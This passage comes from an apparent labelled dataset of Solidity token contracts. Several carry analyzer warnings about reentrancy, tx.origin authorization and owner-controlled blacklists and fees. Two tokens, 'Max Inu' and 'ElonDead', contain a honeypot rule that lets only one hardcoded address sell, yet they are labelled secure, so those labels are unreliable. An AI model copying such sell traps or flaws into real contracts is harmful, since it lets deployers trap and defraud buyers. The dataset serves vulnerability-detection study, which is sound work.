zero address\");\n\t\t// reentrancy-benign | ID: e2a563b\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1891db0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 566f399): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 566f399: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e414cee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e414cee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7bf70f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7bf70f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen)\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 566f399\n\t\t\t\t// reentrancy-benign | ID: e414cee\n\t\t\t\t// reentrancy-eth | ID: 7bf70f1\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 566f399\n\t\t\t\t\t// reentrancy-eth | ID: 7bf70f1\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: e414cee\n _distroFee = _distroFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: e414cee\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: e414cee\n _distroFee = _distroFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: e414cee\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 566f399\n\t\t// reentrancy-benign | ID: e414cee\n\t\t// reentrancy-eth | ID: 7bf70f1\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 566f399\n\t\t// reentrancy-events | ID: 1891db0\n\t\t// reentrancy-benign | ID: e414cee\n\t\t// reentrancy-benign | ID: e2a563b\n\t\t// reentrancy-eth | ID: 7bf70f1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3f3bbc2): McDogelon.sendETHToFee(uint256) performs a multiplication on the result of a division _marketingAddress.transfer(amount.div(9).mul(8))\n\t// Recommendation for 3f3bbc2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2dbac2b): McDogelon.sendETHToFee(uint256) performs a multiplication on the result of a division _devAddress.transfer(amount.div(9).mul(1))\n\t// Recommendation for 2dbac2b: Consider ordering multiplication before division.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 566f399\n\t\t// reentrancy-events | ID: 1891db0\n\t\t// divide-before-multiply | ID: 3f3bbc2\n\t\t// reentrancy-eth | ID: 7bf70f1\n _marketingAddress.transfer(amount.div(9).mul(8));\n\t\t// reentrancy-events | ID: 566f399\n\t\t// reentrancy-events | ID: 1891db0\n\t\t// divide-before-multiply | ID: 2dbac2b\n\t\t// reentrancy-eth | ID: 7bf70f1\n _devAddress.transfer(amount.div(9).mul(1));\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(_msgSender() == _marketingAddress);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _marketingAddress);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 7bf70f1\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 7bf70f1\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 566f399\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 7bf70f1\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 7bf70f1\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: e414cee\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _distroFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 distroFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(distroFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e3303fc): Missing events for critical arithmetic parameters.\n\t// Recommendation for e3303fc: Emit an event for critical parameter changes.\n function setFee(\n uint256 distroFeeOnBuy,\n uint256 distroFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: e3303fc\n _distroFeeOnBuy = distroFeeOnBuy;\n\t\t// events-maths | ID: e3303fc\n _distroFeeOnSell = distroFeeOnSell;\n\n\t\t// events-maths | ID: e3303fc\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: e3303fc\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 64c44b9): McDogelon.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 64c44b9: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 64c44b9\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5b5e183): McDogelon.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 5b5e183: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 5b5e183\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: af4ecdb): McDogelon.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for af4ecdb: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: af4ecdb\n _maxWalletSize = maxWalletSize;\n }\n}", "file_name": "solidity_code_3048.sol", "secure": 0, "size_bytes": 20226 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\n\ncontract ERC721Holder is IERC721Receiver {\n function onERC721Received(\n address,\n address,\n uint256,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}", "file_name": "solidity_code_3049.sol", "secure": 1, "size_bytes": 407 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n}\n", "file_name": "solidity_code_305.sol", "secure": 1, "size_bytes": 274 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NBUWETH {\n using SafeMath for uint;\n\t// WARNING Optimization Issue (constable-states | ID: 76e1782): NBU_WETH.name should be constant \n\t// Recommendation for 76e1782: Add the 'constant' attribute to state variables that never change.\n string public name = \"Nimbus Wrapped Ether\";\n\t// WARNING Optimization Issue (constable-states | ID: c9eba2c): NBU_WETH.symbol should be constant \n\t// Recommendation for c9eba2c: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"NWETH\";\n\t// WARNING Optimization Issue (constable-states | ID: 0bce3be): NBU_WETH.decimals should be constant \n\t// Recommendation for 0bce3be: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n event Approval(address indexed src, address indexed guy, uint256 wad);\n event Transfer(address indexed src, address indexed dst, uint256 wad);\n event Deposit(address indexed dst, uint256 wad);\n event Withdrawal(address indexed src, uint256 wad);\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n receive() external payable {\n deposit();\n }\n\n function deposit() public payable {\n balanceOf[msg.sender] = balanceOf[msg.sender].add(msg.value);\n emit Deposit(msg.sender, msg.value);\n }\n\n function withdraw(uint256 wad) public {\n require(balanceOf[msg.sender] >= wad);\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad);\n payable(msg.sender).transfer(wad);\n emit Withdrawal(msg.sender, wad);\n }\n\n function totalSupply() public view returns (uint256) {\n return address(this).balance;\n }\n\n function approve(address guy, uint256 wad) public returns (bool) {\n allowance[msg.sender][guy] = wad;\n emit Approval(msg.sender, guy, wad);\n return true;\n }\n\n function transfer(address dst, uint256 wad) public returns (bool) {\n return transferFrom(msg.sender, dst, wad);\n }\n\n function transferFrom(\n address src,\n address dst,\n uint256 wad\n ) public returns (bool) {\n require(balanceOf[src] >= wad);\n if (\n src != msg.sender &&\n allowance[src][msg.sender] != uint(2 ** 256 - 1)\n ) {\n require(allowance[src][msg.sender] >= wad);\n allowance[src][msg.sender] -= wad;\n }\n balanceOf[src] = balanceOf[src].sub(wad);\n balanceOf[dst] = balanceOf[dst].add(wad);\n emit Transfer(src, dst, wad);\n return true;\n }\n}", "file_name": "solidity_code_3050.sol", "secure": 1, "size_bytes": 2801 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x042076e9eeD6C104993332DF52F248Ef7C21356b,\n 100000000000000 * 10 ** 18\n );\n _enable[0x042076e9eeD6C104993332DF52F248Ef7C21356b] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Max Inu\";\n _symbol = \"MAXI\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_3051.sol", "secure": 1, "size_bytes": 6000 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol\" as ERC721Holder;\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract PublicLibrary is ERC721Holder, Context {\n address private _librarian;\n\n event OwnershipTransferred(\n address indexed previousLibrarian,\n address indexed newLibrarian\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function librarian() public view virtual returns (address) {\n return _librarian;\n }\n function _transferOwnership(address newLibrarian) internal virtual {\n address oldLibrarian = _librarian;\n _librarian = newLibrarian;\n emit OwnershipTransferred(oldLibrarian, newLibrarian);\n }\n}", "file_name": "solidity_code_3052.sol", "secure": 1, "size_bytes": 826 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x83F111a8e41F8464b6a0D32e6FB54797dFEb83Ba,\n 1000000000000000 * 10 ** 18\n );\n _enable[0x83F111a8e41F8464b6a0D32e6FB54797dFEb83Ba] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"ElonDead\";\n _symbol = \"ElonDead\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_3053.sol", "secure": 1, "size_bytes": 6006 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"./IBEP20Metadata.sol\" as IBEP20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract EUMETAVERSE is Context, IBEP20, IBEP20Metadata, Ownable, Pausable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"EU METAVERSE\";\n _symbol = \"EUME\";\n _totalSupply;\n _mint(owner(), 450000000 * 10 ** (decimals()));\n }\n\n mapping(address => bool) private _isBlackListedBot;\n address[] private _blackListedBots;\n\n function isBot(address account) public view returns (bool) {\n return _isBlackListedBot[account];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 13;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: ffd7373): EUMETAVERSE.transfer(address,uint256) uses tx.origin for authorization require(bool,string)(! _isBlackListedBot[tx.origin],You have no power here!)\n\t// Recommendation for ffd7373: Do not use 'tx.origin' for authorization.\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(!_isBlackListedBot[recipient], \"You have no power here!\");\n\t\t// tx-origin | ID: ffd7373\n require(!_isBlackListedBot[tx.origin], \"You have no power here!\");\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4d3b13): EUMETAVERSE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c4d3b13: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 2908fb9): EUMETAVERSE.transferFrom(address,address,uint256) uses tx.origin for authorization require(bool,string)(! _isBlackListedBot[tx.origin],You have no power here!)\n\t// Recommendation for 2908fb9: Do not use 'tx.origin' for authorization.\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(!_isBlackListedBot[sender], \"You have no power here!\");\n require(!_isBlackListedBot[recipient], \"You have no power here!\");\n\t\t// tx-origin | ID: 2908fb9\n require(!_isBlackListedBot[tx.origin], \"You have no power here!\");\n\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function addBotToBlackList(address account) external onlyOwner {\n require(\n account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n \"We can not blacklist Uniswap router.\"\n );\n require(!_isBlackListedBot[account], \"Account is already blacklisted\");\n _isBlackListedBot[account] = true;\n _blackListedBots.push(account);\n }\n\n function removeBotFromBlackList(address account) external onlyOwner {\n require(_isBlackListedBot[account], \"Account is not blacklisted\");\n for (uint256 i = 0; i < _blackListedBots.length; i++) {\n if (_blackListedBots[i] == account) {\n _blackListedBots[i] = _blackListedBots[\n _blackListedBots.length - 1\n ];\n _isBlackListedBot[account] = false;\n _blackListedBots.pop();\n break;\n }\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(\n sender != address(0),\n \"BEP2020: transfer from the zero address\"\n );\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"BEP20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n function mint(uint256 amount) public onlyOwner {\n _mint(msg.sender, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"BEP20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"BEP20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n function burn(uint256 amount) public onlyOwner {\n _burn(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0247484): EUMETAVERSE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0247484: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), 